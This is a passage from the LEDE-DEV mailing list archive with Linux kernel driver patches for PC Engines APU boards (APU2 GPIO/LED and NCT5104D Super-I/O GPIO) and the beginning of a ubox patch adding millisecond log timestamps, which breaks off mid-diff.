+ *  Based on gpio-apu2.c - AMD FCH GPIO support for PC-Engines APU-2 board
+ *
+ *  Copyright (c) 2015  Carsten Spiess <fli4l at carsten-spiess.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+ #include <linux/module.h>
+ #include <linux/types.h>
+ #include <linux/miscdevice.h>
+ #include <linux/gpio.h>
+ #include <linux/init.h>
+ #include <linux/pci.h>
+ #include <linux/ioport.h>
+ #include <linux/platform_device.h>
+ #include <linux/uaccess.h>
+ #include <linux/io.h>
+ #include <linux/version.h>
+ #include <linux/dmi.h>
+ #include <linux/string.h>
+
+ #include <linux/leds.h>
+ #include <linux/input.h>
+ #include <linux/gpio_keys.h>
+
+ #define DEVNAME                 "leds-apu2"
+
+ #define FCH_ACPI_MMIO_BASE      0xFED80000
+ #define FCH_GPIO_BASE           (FCH_ACPI_MMIO_BASE + 0x1500)
+ #define FCH_GPIO_SIZE           0x300
+
+ #define APU_NUM_GPIO            4
+
+ #define GPIO_BIT_DIR            23
+ #define GPIO_BIT_WRITE          22
+ #define GPIO_BIT_READ           16
+
+ /* internal variables */
+ static struct pci_dev *gpio_apu2_pci;
+ static DEFINE_SPINLOCK (gpio_lock);
+
+ /* the watchdog platform device */
+ static struct platform_device *gpio_apu2_platform_device;
+ static struct platform_device *leddev;
+ static struct platform_device *keydev;
+
+ static const struct pci_device_id gpio_apu2_pci_tbl[] ={
+ 	{PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID, PCI_ANY_ID},
+ 	{ 0, } /* End of list */
+ };
+ MODULE_DEVICE_TABLE (pci, gpio_apu2_pci_tbl);
+
+ /* EGPIO89=GPIO32, AGPIO68=GPIO57, AGPIO69=GPIO58, AGPIO70=GPIO59 */
+ static u8 gpio_offset[APU_NUM_GPIO] = {89, 68, 69, 70};
+
+ static void __iomem *gpio_addr[APU_NUM_GPIO] = {NULL, NULL, NULL, NULL};
+
+ static int gpio_apu2_get_dir (struct gpio_chip *chip, unsigned offset)
+ {
+ 	u32 val;
+
+ 	val = ~ioread32 (gpio_addr[offset]);
+
+ 	return (val >> GPIO_BIT_DIR) & 1;
+ }
+
+ static int gpio_apu2_dir_in (struct gpio_chip *gc, unsigned offset)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+ 	val &= ~BIT(GPIO_BIT_DIR);
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+
+ 	return 0;
+ }
+
+ static int gpio_apu2_dir_out (struct gpio_chip *chip, unsigned offset,
+ 		int value)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+ 	val |= BIT(GPIO_BIT_DIR);
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+
+ 	return 0;
+ }
+
+ static int gpio_apu2_get_data (struct gpio_chip *chip, unsigned offset)
+ {
+ 	u32 val;
+
+ 	val = ioread32 (gpio_addr[offset]);
+
+ 	return (val >> GPIO_BIT_READ) & 1;
+ }
+
+ static void gpio_apu2_set_data (struct gpio_chip *chip, unsigned offset, int value)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+
+ 	if (value)
+ 		val |= BIT(GPIO_BIT_WRITE);
+ 	else
+ 		val &= ~BIT(GPIO_BIT_WRITE);
+
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+ }
+
+ static struct gpio_chip gpio_apu2_chip = {
+ 	.label = DEVNAME,
+ 	.owner = THIS_MODULE,
+ 	.base = -1,
+ 	.ngpio = APU_NUM_GPIO,
+ 	.get_direction = gpio_apu2_get_dir,
+ 	.direction_input = gpio_apu2_dir_in,
+ 	.direction_output = gpio_apu2_dir_out,
+ 	.get = gpio_apu2_get_data,
+ 	.set = gpio_apu2_set_data,
+ };
+
+ /*
+  *
+  */
+ static int gpio_apu2_probe (struct platform_device *dev)
+ {
+ 	int ret = 0;
+ 	int i;
+ 	struct pci_dev *pci_dev = NULL;
+
+ 	/* Match the PCI device */
+ 	for_each_pci_dev (pci_dev) {
+ 		if (pci_match_id (gpio_apu2_pci_tbl, pci_dev) != NULL) {
+ 			gpio_apu2_pci = pci_dev;
+ 			break;
+ 		}
+ 	}
+
+ 	if (!gpio_apu2_pci)
+ 		return -ENODEV;
+
+ 	pr_info ("%s: PCI Revision ID: 0x%x\n", DEVNAME, gpio_apu2_pci->revision);
+
+ 	/* Determine type of southbridge chipset */
+ 	if (gpio_apu2_pci->revision < 0x40) {
+ 		return -EACCES;
+ 	}
+
+ 	/* Request memory region for GPIO's */
+ 	if (!devm_request_mem_region (&dev->dev, FCH_GPIO_BASE,
+ 		FCH_GPIO_SIZE, DEVNAME)){
+ 		pr_err ("%s: request GPIO mem region failed\n", DEVNAME);
+ 		return -ENXIO;
+ 	}
+
+ 	/* Map IO's for GPIO's */
+ 	for (i = 0; i < APU_NUM_GPIO; i++) {
+ 		gpio_addr[i] = devm_ioremap (&dev->dev,
+ 			FCH_GPIO_BASE + (gpio_offset[i] * sizeof (u32)), sizeof (u32));
+ 		if (!gpio_addr[i]) {
+ 			pr_err ("%s: map GPIO%d address failed\n", DEVNAME, gpio_offset[i]);
+ 			return -ENXIO;
+ 		}
+ 	}
+
+ 	gpio_apu2_chip.dev = &dev->dev;
+ 	ret = gpiochip_add (&gpio_apu2_chip);
+ 	if (ret) {
+ 		pr_err ("%s: adding gpiochip failed\n", DEVNAME);
+ 	}
+
+ 	return ret;
+ }
+
+ static int gpio_apu2_remove (struct platform_device *dev)
+ {
+ #if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+ 	int ret;
+ 	ret = gpiochip_remove (&gpio_apu2_chip);
+ #else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+ 	gpiochip_remove (&gpio_apu2_chip);
+ #endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+ 	return 0;
+ }
+
+ static struct platform_driver gpio_apu2_driver = {
+ 	.probe = gpio_apu2_probe,
+ 	.remove = gpio_apu2_remove,
+ 	.driver = {
+ 		.owner = THIS_MODULE,
+ 		.name = DEVNAME
+ 	}
+ };
+
+ static struct gpio_led apu2_leds_gpio[] = {
+         {
+                 .name           = "apu2:green:power",
+                 .gpio           = 509,
+                 .active_low     = 1,
+         },
+         {
+                 .name           = "apu2:green:led2",
+                 .gpio           = 510,
+                 .active_low     = 1,
+         },
+         {
+                 .name           = "apu2:green:led3",
+                 .gpio           = 511,
+                 .active_low     = 1,
+         },
+ };
+
+ static struct gpio_keys_button apu2_gpio_keys[] = {
+ 	{
+ 		.desc           = "Reset button",
+ 		.type           = EV_KEY,
+ 		.code           = KEY_RESTART,
+ 		.debounce_interval = 60,
+ 		.gpio           = 508,
+ 		.active_low     = 1,
+ 	},
+ };
+
+ static void register_gpio_keys_polled(int id, unsigned poll_interval,
+ 				      unsigned nbuttons,
+ 				      struct gpio_keys_button *buttons)
+ {
+ 	struct gpio_keys_platform_data pdata = { };
+ 	int err;
+
+ 	keydev = platform_device_alloc("gpio-keys-polled", id);
+ 	if (!keydev) {
+ 		printk(KERN_ERR "Failed to allocate gpio-keys platform device\n");
+ 		return;
+ 	}
+
+ 	pdata.poll_interval = poll_interval;
+ 	pdata.nbuttons = nbuttons;
+ 	pdata.buttons = buttons;
+
+ 	err = platform_device_add_data(keydev, &pdata, sizeof(pdata));
+ 	if (err) {
+ 		dev_err(&keydev->dev, "failed to add platform data to key driver (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	err = platform_device_add(keydev);
+ 	if (err) {
+ 		dev_err(&keydev->dev, "failed to register key platform device (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	return;
+
+ err_put_pdev:
+ 	platform_device_put(keydev);
+ 	keydev = NULL;
+ }
+
+ static void register_leds_gpio(int id, unsigned num_leds, struct gpio_led *leds)
+ {
+ 	struct gpio_led_platform_data pdata = { };
+ 	int err;
+
+ 	leddev = platform_device_alloc("leds-gpio", id);
+ 	if (!leddev) {
+ 		printk(KERN_ERR "Failed to allocate leds-gpio platform device\n");
+ 		return;
+ 	}
+
+ 	pdata.num_leds = num_leds;
+ 	pdata.leds = leds;
+
+ 	err = platform_device_add_data(leddev, &pdata, sizeof(pdata));
+ 	if (err) {
+ 		dev_err(&leddev->dev, "failed to add platform data to key driver (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	err = platform_device_add(leddev);
+ 	if (err) {
+ 		dev_err(&leddev->dev, "failed to register key platform device (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	return;
+
+ err_put_pdev:
+ 	platform_device_put(leddev);
+ 	leddev = NULL;
+ }
+
+ static int __init gpio_apu2_init (void)
+ {
+ 	int err;
+	const char *board_vendor = dmi_get_system_info(DMI_BOARD_VENDOR);
+	const char *board_name = dmi_get_system_info(DMI_BOARD_NAME);
+
+ 	/* Match the device name/model */
+	if (!board_name || !board_vendor || strcasecmp(board_vendor, "PC Engines") || strcasecmp(board_name, "apu2")) {
+		err = -ENODEV;
+		goto exit;
+	}
+
+	pr_info ("%s: load APU2/LED GPIO driver module\n", DEVNAME);
+
+ 	err = platform_driver_register (&gpio_apu2_driver);
+ 	if (err)
+ 		goto exit;
+
+ 	gpio_apu2_platform_device = platform_device_register_simple (DEVNAME, -1, NULL, 0);
+ 	if (IS_ERR(gpio_apu2_platform_device)) {
+ 		err = PTR_ERR(gpio_apu2_platform_device);
+ 		goto exit_driver;
+ 	}
+
+ 	pr_info ("%s: APU2 GPIO/LED driver module loaded\n", DEVNAME);
+
+ 	register_leds_gpio(-1, ARRAY_SIZE(apu2_leds_gpio), apu2_leds_gpio);
+ 	register_gpio_keys_polled(-1, 20, ARRAY_SIZE(apu2_gpio_keys), apu2_gpio_keys);
+ 	return 0;
+
+ exit_driver:
+ 	platform_driver_unregister (&gpio_apu2_driver);
+ exit:
+ 	return err;
+ }
+
+ static void __exit gpio_apu2_exit (void)
+ {
+ 	platform_device_unregister (gpio_apu2_platform_device);
+ 	platform_device_unregister (leddev);
+ 	platform_device_unregister (keydev);
+ 	platform_driver_unregister (&gpio_apu2_driver);
+ 	pr_info ("%s: APU2 GPIO/LED driver module unloaded\n", DEVNAME);
+ }
+
+ MODULE_AUTHOR ("Carsten Spiess <fli4l at carsten-spiess.de>");
+ MODULE_DESCRIPTION("GPIO driver for AMD FCH on PC-Engines APU-2");
+ MODULE_LICENSE("GPL");
+
+ module_init (gpio_apu2_init);
+ module_exit (gpio_apu2_exit);
-- 
2.7.4



From chrisrblake93 at gmail.com  Mon Jan 23 00:12:35 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Mon, 23 Jan 2017 02:12:35 -0600
Subject: [LEDE-DEV] [PATCH 2/3] gpio-nct5104d: Add nct5104d driver package
In-Reply-To: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>
References: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>
Message-ID: <1485159156-18665-3-git-send-email-chrisrblake93@gmail.com>

This adds support for the SuperIO chip nct5104d found on the PC Engines
APU boards, which allows for a handful of additional ports, such as 2x
additional UART pinouts, enabling an external watchdog (no driver for
this functionality yet), and 16 GPIO pins. More info can be found at
https://pcengines.ch/ht_gpio.htm

Thanks to @feckert for helping package this.

Cc: Florian Eckert <Eckert.Florian at googlemail.com>

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 package/kernel/gpio-nct5104d/Makefile            |  52 +++
 package/kernel/gpio-nct5104d/src/Kconfig         |   5 +
 package/kernel/gpio-nct5104d/src/Makefile        |   1 +
 package/kernel/gpio-nct5104d/src/gpio-nct5104d.c | 461 +++++++++++++++++++++++
 4 files changed, 519 insertions(+)
 create mode 100644 package/kernel/gpio-nct5104d/Makefile
 create mode 100644 package/kernel/gpio-nct5104d/src/Kconfig
 create mode 100644 package/kernel/gpio-nct5104d/src/Makefile
 create mode 100644 package/kernel/gpio-nct5104d/src/gpio-nct5104d.c

diff --git a/package/kernel/gpio-nct5104d/Makefile b/package/kernel/gpio-nct5104d/Makefile
new file mode 100644
index 0000000..b43291e
--- /dev/null
+++ b/package/kernel/gpio-nct5104d/Makefile
@@ -0,0 +1,52 @@
+#
+# Copyright (C) 2017 OpenWrt.org
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+include $(TOPDIR)/rules.mk
+include $(INCLUDE_DIR)/kernel.mk
+
+PKG_NAME:=gpio-nct5104d
+PKG_RELEASE:=1
+
+PKG_MAINTAINER:=Florian Eckert <Eckert.Florian at googlemail.com>
+PKG_LICENSE:=GPL-2.0
+
+include $(INCLUDE_DIR)/package.mk
+
+define KernelPackage/gpio-nct5104d
+  SUBMENU:=Other modules
+  TITLE:= GPIO nct5104d support
+  DEPENDS:= @GPIO_SUPPORT @TARGET_x86
+  FILES:=$(PKG_BUILD_DIR)/gpio-nct5104d.ko
+  AUTOLOAD:=$(call AutoLoad,30,gpio-nct5104d,1)
+  KCONFIG:=
+endef
+
+define KernelPackage/gpio-nct5104d/description
+  Support for GPIO functionality of NCT5104D super I/O chip.
+endef
+
+EXTRA_KCONFIG:= \
+	CONFIG_GPIO_NCT5104D=m
+
+EXTRA_CFLAGS:= \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=m,%,$(filter %=m,$(EXTRA_KCONFIG)))) \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=y,%,$(filter %=y,$(EXTRA_KCONFIG)))) \
+
+MAKE_OPTS:= \
+	ARCH="$(LINUX_KARCH)" \
+	CROSS_COMPILE="$(TARGET_CROSS)" \
+	SUBDIRS="$(PKG_BUILD_DIR)" \
+	EXTRA_CFLAGS="$(EXTRA_CFLAGS)" \
+	$(EXTRA_KCONFIG)
+
+define Build/Compile
+	 $(MAKE) -C "$(LINUX_DIR)" \
+		$(MAKE_OPTS) \
+		modules
+endef
+
+$(eval $(call KernelPackage,gpio-nct5104d))
diff --git a/package/kernel/gpio-nct5104d/src/Kconfig b/package/kernel/gpio-nct5104d/src/Kconfig
new file mode 100644
index 0000000..cf658e2
--- /dev/null
+++ b/package/kernel/gpio-nct5104d/src/Kconfig
@@ -0,0 +1,5 @@
+config GPIO_NCT5104D
+        tristate "NCT5104D GPIO support"
+        depends on GENERIC_GPIO
+        help
+          Say yes here to support GPIO functionality of NCT5104D super I/O chip
diff --git a/package/kernel/gpio-nct5104d/src/Makefile b/package/kernel/gpio-nct5104d/src/Makefile
new file mode 100644
index 0000000..6f0375a
--- /dev/null
+++ b/package/kernel/gpio-nct5104d/src/Makefile
@@ -0,0 +1 @@
+obj-${CONFIG_GPIO_NCT5104D}    += gpio-nct5104d.o
diff --git a/package/kernel/gpio-nct5104d/src/gpio-nct5104d.c b/package/kernel/gpio-nct5104d/src/gpio-nct5104d.c
new file mode 100644
index 0000000..a37a1d0
--- /dev/null
+++ b/package/kernel/gpio-nct5104d/src/gpio-nct5104d.c
@@ -0,0 +1,461 @@
+/*
+ * GPIO driver for NCT5104D
+ *
+ * Author: Tasanakorn Phaipool <tasanakorn at gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ */
+
+#include <linux/module.h>
+#include <linux/init.h>
+#include <linux/platform_device.h>
+#include <linux/io.h>
+#include <linux/gpio.h>
+#include <linux/version.h>
+#include <linux/dmi.h>
+#include <linux/string.h>
+
+#define DRVNAME "gpio-nct5104d"
+
+/*
+ * Super-I/O registers
+ */
+#define SIO_LDSEL		0x07	/* Logical device select */
+#define SIO_CHIPID		0x20	/* Chaip ID (2 bytes) */
+#define SIO_GPIO_ENABLE	0x30	/* GPIO enable */
+#define SIO_GPIO1_MODE		0xE0	/* GPIO1 Mode OpenDrain/Push-Pull */
+#define SIO_GPIO2_MODE		0xE1	/* GPIO2 Mode OpenDrain/Push-Pull */
+
+#define SIO_LD_GPIO		0x07	/* GPIO logical device */
+#define SIO_LD_GPIO_MODE	0x0F	/* GPIO mode control device */
+#define SIO_UNLOCK_KEY		0x87	/* Key to enable Super-I/O */
+#define SIO_LOCK_KEY		0xAA	/* Key to disable Super-I/O */
+
+#define SIO_NCT5104D_ID					0x1061	/* Chip ID */
+#define SIO_PCENGINES_APU_NCT5104D_ID	0xc452	/* Chip ID */
+
+enum chips { nct5104d };
+
+static const char * const nct5104d_names[] = {
+	"nct5104d"
+};
+
+struct nct5104d_sio {
+	int addr;
+	enum chips type;
+};
+
+struct nct5104d_gpio_bank {
+	struct gpio_chip chip;
+	unsigned int regbase;
+	struct nct5104d_gpio_data *data;
+};
+
+struct nct5104d_gpio_data {
+	struct nct5104d_sio *sio;
+	int nr_bank;
+	struct nct5104d_gpio_bank *bank;
+};
+
+/*
+ * Super-I/O functions.
+ */
+
+static inline int superio_inb(int base, int reg)
+{
+	outb(reg, base);
+	return inb(base + 1);
+}
+
+static int superio_inw(int base, int reg)
+{
+	int val;
+
+	outb(reg++, base);
+	val = inb(base + 1) << 8;
+	outb(reg, base);
+	val |= inb(base + 1);
+
+	return val;
+}
+
+static inline void superio_outb(int base, int reg, int val)
+{
+	outb(reg, base);
+	outb(val, base + 1);
+}
+
+static inline int superio_enter(int base)
+{
+	/* Don't step on other drivers' I/O space by accident. */
+	if (!request_muxed_region(base, 2, DRVNAME)) {
+		pr_err(DRVNAME "I/O address 0x%04x already in use\n", base);
+		return -EBUSY;
+	}
+
+	/* According to the datasheet the key must be send twice. */
+	outb(SIO_UNLOCK_KEY, base);
+	outb(SIO_UNLOCK_KEY, base);
+
+	return 0;
+}
+
+static inline void superio_select(int base, int ld)
+{
+	outb(SIO_LDSEL, base);
+	outb(ld, base + 1);
+}
+
+static inline void superio_exit(int base)
+{
+	outb(SIO_LOCK_KEY, base);
+	release_region(base, 2);
+}
+
+/*
+ * GPIO chip.
+ */
+
+static int nct5104d_gpio_direction_in(struct gpio_chip *chip, unsigned offset);
+static int nct5104d_gpio_get(struct gpio_chip *chip, unsigned offset);
+static int nct5104d_gpio_direction_out(struct gpio_chip *chip,
+				     unsigned offset, int value);
+static void nct5104d_gpio_set(struct gpio_chip *chip, unsigned offset, int value);
+
+#define NCT5104D_GPIO_BANK(_base, _ngpio, _regbase)			\
+	{								\
+		.chip = {						\
+			.label            = DRVNAME,			\
+			.owner            = THIS_MODULE,		\
+			.direction_input  = nct5104d_gpio_direction_in,	\
+			.get              = nct5104d_gpio_get,		\
+			.direction_output = nct5104d_gpio_direction_out,	\
+			.set              = nct5104d_gpio_set,		\
+			.base             = _base,			\
+			.ngpio            = _ngpio,			\
+			.can_sleep        = true,			\
+		},							\
+		.regbase = _regbase,					\
+	}
+
+#define gpio_dir(base) (base + 0)
+#define gpio_data(base) (base + 1)
+
+static struct nct5104d_gpio_bank nct5104d_gpio_bank[] = {
+	NCT5104D_GPIO_BANK(0 , 8, 0xE0),
+	NCT5104D_GPIO_BANK(10, 8, 0xE4)
+};
+
+static int nct5104d_gpio_direction_in(struct gpio_chip *chip, unsigned offset)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 dir;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return err;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	dir = superio_inb(sio->addr, gpio_dir(bank->regbase));
+	dir |= (1 << offset);
+	superio_outb(sio->addr, gpio_dir(bank->regbase), dir);
+
+	superio_exit(sio->addr);
+
+	return 0;
+}
+
+static int nct5104d_gpio_get(struct gpio_chip *chip, unsigned offset)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 data;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return err;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	data = superio_inb(sio->addr, gpio_data(bank->regbase));
+
+	superio_exit(sio->addr);
+
+	return !!(data & 1 << offset);
+}
+
+static int nct5104d_gpio_direction_out(struct gpio_chip *chip,
+				     unsigned offset, int value)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 dir, data_out;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return err;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	data_out = superio_inb(sio->addr, gpio_data(bank->regbase));
+	if (value)
+		data_out |= (1 << offset);
+	else
+		data_out &= ~(1 << offset);
+	superio_outb(sio->addr, gpio_data(bank->regbase), data_out);
+
+	dir = superio_inb(sio->addr, gpio_dir(bank->regbase));
+	dir &= ~(1 << offset);
+	superio_outb(sio->addr, gpio_dir(bank->regbase), dir);
+
+	superio_exit(sio->addr);
+
+	return 0;
+}
+
+static void nct5104d_gpio_set(struct gpio_chip *chip, unsigned offset, int value)
+{
+	int err;
+	struct nct5104d_gpio_bank *bank =
+		container_of(chip, struct nct5104d_gpio_bank, chip);
+	struct nct5104d_sio *sio = bank->data->sio;
+	u8 data_out;
+
+	err = superio_enter(sio->addr);
+	if (err)
+		return;
+	superio_select(sio->addr, SIO_LD_GPIO);
+
+	data_out = superio_inb(sio->addr, gpio_data(bank->regbase));
+	if (value)
+		data_out |= (1 << offset);
+	else
+		data_out &= ~(1 << offset);
+	superio_outb(sio->addr, gpio_data(bank->regbase), data_out);
+
+	superio_exit(sio->addr);
+}
+
+/*
+ * Platform device and driver.
+ */
+
+static int nct5104d_gpio_probe(struct platform_device *pdev)
+{
+	int err;
+	int i;
+	struct nct5104d_sio *sio = pdev->dev.platform_data;
+	struct nct5104d_gpio_data *data;
+
+	data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL);
+	if (!data)
+		return -ENOMEM;
+
+	switch (sio->type) {
+	case nct5104d:
+		data->nr_bank = ARRAY_SIZE(nct5104d_gpio_bank);
+		data->bank = nct5104d_gpio_bank;
+		break;
+	default:
+		return -ENODEV;
+	}
+	data->sio = sio;
+
+	platform_set_drvdata(pdev, data);
+
+	/* For each GPIO bank, register a GPIO chip. */
+	for (i = 0; i < data->nr_bank; i++) {
+		struct nct5104d_gpio_bank *bank = &data->bank[i];
+
+		bank->chip.dev = &pdev->dev;
+		bank->data = data;
+
+		err = gpiochip_add(&bank->chip);
+		if (err) {
+			dev_err(&pdev->dev,
+				"Failed to register gpiochip %d: %d\n",
+				i, err);
+			goto err_gpiochip;
+		}
+	}
+
+	return 0;
+
+err_gpiochip:
+	for (i = i - 1; i >= 0; i--) {
+		struct nct5104d_gpio_bank *bank = &data->bank[i];
+
+#if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+		int rm_err = gpiochip_remove(&bank->chip);
+		if (rm_err < 0)
+			dev_err(&pdev->dev,
+				"Failed to remove gpiochip %d: %d\n",
+				i, rm_err);
+#else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+		gpiochip_remove (&bank->chip);
+#endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+	}
+
+	return err;
+}
+
+static int nct5104d_gpio_remove(struct platform_device *pdev)
+{
+	int i;
+	struct nct5104d_gpio_data *data = platform_get_drvdata(pdev);
+
+	for (i = 0; i < data->nr_bank; i++) {
+		struct nct5104d_gpio_bank *bank = &data->bank[i];
+
+#if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+		int err = gpiochip_remove(&bank->chip);
+		if (err) {
+			dev_err(&pdev->dev,
+				"Failed to remove GPIO gpiochip %d: %d\n",
+				i, err);
+			return err;
+		}
+#else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+		gpiochip_remove (&bank->chip);
+#endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+	}
+
+	return 0;
+}
+
+static int __init nct5104d_find(int addr, struct nct5104d_sio *sio)
+{
+	int err;
+	u16 devid;
+	u8 gpio_cfg;
+
+	err = superio_enter(addr);
+	if (err)
+		return err;
+
+	err = -ENODEV;
+
+	devid = superio_inw(addr, SIO_CHIPID);
+	switch (devid) {
+	case SIO_NCT5104D_ID:
+	case SIO_PCENGINES_APU_NCT5104D_ID:
+		sio->type = nct5104d;
+		/* enable GPIO0 and GPIO1 */
+		superio_select(addr, SIO_LD_GPIO);
+		gpio_cfg = superio_inb(addr, SIO_GPIO_ENABLE);
+		gpio_cfg |= 0x03;
+		superio_outb(addr, SIO_GPIO_ENABLE, gpio_cfg);
+		break;
+	default:
+		pr_info(DRVNAME ": Unsupported device 0x%04x\n", devid);
+		goto err;
+	}
+	sio->addr = addr;
+	err = 0;
+
+	pr_info(DRVNAME ": Found %s at %#x chip id 0x%04x\n",
+		nct5104d_names[sio->type],
+		(unsigned int) addr,
+		(int) superio_inw(addr, SIO_CHIPID));
+
+        superio_select(sio->addr, SIO_LD_GPIO_MODE);
+        superio_outb(sio->addr, SIO_GPIO1_MODE, 0x0);
+        superio_outb(sio->addr, SIO_GPIO2_MODE, 0x0);
+
+err:
+	superio_exit(addr);
+	return err;
+}
+
+static struct platform_device *nct5104d_gpio_pdev;
+
+static int __init
+nct5104d_gpio_device_add(const struct nct5104d_sio *sio)
+{
+	int err;
+
+	nct5104d_gpio_pdev = platform_device_alloc(DRVNAME, -1);
+	if (!nct5104d_gpio_pdev)
+		pr_err(DRVNAME ": Error platform_device_alloc\n");
+	if (!nct5104d_gpio_pdev)
+		return -ENOMEM;
+
+	err = platform_device_add_data(nct5104d_gpio_pdev,
+				       sio, sizeof(*sio));
+	if (err) {
+		pr_err(DRVNAME "Platform data allocation failed\n");
+		goto err;
+	}
+
+	err = platform_device_add(nct5104d_gpio_pdev);
+	if (err) {
+		pr_err(DRVNAME "Device addition failed\n");
+		goto err;
+	}
+	pr_info(DRVNAME ": Device added\n");
+	return 0;
+
+err:
+	platform_device_put(nct5104d_gpio_pdev);
+
+	return err;
+}
+
+/*
+ */
+
+static struct platform_driver nct5104d_gpio_driver = {
+	.driver = {
+		.owner	= THIS_MODULE,
+		.name	= DRVNAME,
+	},
+	.probe		= nct5104d_gpio_probe,
+	.remove		= nct5104d_gpio_remove,
+};
+
+static int __init nct5104d_gpio_init(void)
+{
+	int err;
+	struct nct5104d_sio sio;
+	const char *board_vendor = dmi_get_system_info(DMI_BOARD_VENDOR);
+	const char *board_name = dmi_get_system_info(DMI_BOARD_NAME);
+
+ 	/* Make sure we only run on PC Engine APU boards */
+	if (!board_name || !board_vendor || strcasecmp(board_vendor, "PC Engines") || strncasecmp(board_name, "apu", 3)) {
+		return -ENODEV;
+	}
+
+	if (nct5104d_find(0x2e, &sio) &&
+	    nct5104d_find(0x4e, &sio))
+		return -ENODEV;
+
+	err = platform_driver_register(&nct5104d_gpio_driver);
+	if (!err) {
+		pr_info(DRVNAME ": platform_driver_register\n");
+		err = nct5104d_gpio_device_add(&sio);
+		if (err)
+			platform_driver_unregister(&nct5104d_gpio_driver);
+	}
+
+	return err;
+}
+subsys_initcall(nct5104d_gpio_init);
+
+static void __exit nct5104d_gpio_exit(void)
+{
+	platform_device_unregister(nct5104d_gpio_pdev);
+	platform_driver_unregister(&nct5104d_gpio_driver);
+}
+module_exit(nct5104d_gpio_exit);
+
+MODULE_DESCRIPTION("GPIO driver for Super-I/O chips NCT5104D");
+MODULE_AUTHOR("Tasanakorn Phaipool <tasanakorn at gmail.com>");
+MODULE_LICENSE("GPL");
--
2.7.4


From Wojciech.Dubowik at neratec.com  Mon Jan 23 02:30:14 2017
From: Wojciech.Dubowik at neratec.com (Wojciech Dubowik)
Date: Mon, 23 Jan 2017 11:30:14 +0100
Subject: [LEDE-DEV] [PATCH] ubox: Add an option for more accurate timestamps
 in log
Message-ID: <1485167414-18462-1-git-send-email-Wojciech.Dubowik@neratec.com>

Systemwide timestamps for syslog messages with ms accuracy are usefull
for debugging timing problems.

Signed-off-by: Wojciech Dubowik <Wojciech.Dubowik at neratec.com>
---
 log/logd.c    |  2 +-
 log/logread.c | 23 ++++++++++++++++++++---
 2 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/log/logd.c b/log/logd.c
index 915348e..07aee2b 100644
--- a/log/logd.c
+++ b/log/logd.c
@@ -75,7 +75,7 @@ log_fill_msg(struct blob_buf *b, struct log_head *l)
 	blobmsg_add_u32(b, "id", l->id);
 	blobmsg_add_u32(b, "priority", l->priority);
 	blobmsg_add_u32(b, "source", l->source);
-	blobmsg_add_u64(b, "time", l->ts.tv_sec * 1000LL);
+	blobmsg_add_u64(b, "time", (((__u64) l->ts.tv_sec) * 1000) + (l->ts.tv_nsec / 1000000));
 }
 
 static int
diff --git a/log/logread.c b/log/logread.c
index 676bb82..edac1d9 100644
--- a/log/logread.c
+++ b/log/logread.c
@@ -62,6 +62,7 @@ static regex_t regexp_preg;
